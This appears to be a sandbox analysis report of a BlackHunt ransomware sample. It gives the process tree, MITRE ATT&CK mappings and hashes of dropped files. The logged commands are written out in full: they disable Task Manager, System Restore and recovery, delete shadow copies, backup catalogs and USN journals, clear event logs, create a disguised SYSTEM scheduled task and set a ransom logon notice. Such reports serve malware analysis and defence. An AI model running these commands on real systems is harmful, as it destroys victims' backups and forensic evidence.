- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1388
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe" /F
  2⤵
  PID:2040
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1728
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2512
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1592
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1752
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1604
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1440
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:900
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2992
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2356
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2264
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1900
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:1980
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3076
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3148
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2252
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1448
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2632
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4060
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3024
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4020
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3124
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3284
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2848
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2552
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3264
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3248
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3224
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:1008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2372
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1964
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3500
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:3576
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe"
  2⤵
  - Deletes itself
  PID:3340
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3320

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-3641890654660662231572614710207794578411016398732025860381983470911955806862"
1⤵
PID:2448

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-6182004757621564242007149320-8727964108694499917016675896686584711541519255"
1⤵
PID:856

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3032

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:2860

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1876

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\Program Files\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
983c612c00897514d02e53e65d24146e

SHA1
725af506e92e3eb21e3ee20f763edc41ba59610b

SHA256
456004a62fcac164a5e719307d8b7d8b11272bc1774a6fa0f1f951ab2c6b4b4f

SHA512
c1f599f04bdda4e79c3a9f624a110abc88d9eccb4fa26fddad74c5aafb0d9e420935da52c80403cd4ac653b739cc125e7428f5cf0d434e8a8292ecd1ead56da8

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
9ced5aa66f4f40d4609838c20d00fecd

SHA1
90a21b86f2ed856eab6125ca804038bbfb983872

SHA256
82ff336559f0d13cdcb39f84965bd4107926652c6c7934bff31218342368f28d

SHA512
1aa6cce9ef1633f5571651267375173e7fb06cee72a5f6c415f514a454409233472d8b8592d5acbc4452b19bdd434f6fa909cdf18fc93e90e6cb81f9df9e899a

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
56feb6252b0e3a0e3c76fddfe8f36ce6

SHA1
ccbcb2c210ae4a2686330ce7c79f587ee56f526c

SHA256
4554bf08e4595e6d606ad81075e57a85be2aac2c21940ff5049050f9f73436d1

SHA512
9f7a53e808b0d7de8a025aa4c13ddc326fdcb36cc28296795f7666a1345481b0deca4c656bf6e1c7bdec10c09740edf8398a2ee6cf080b19040fae7e3f8b9462

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads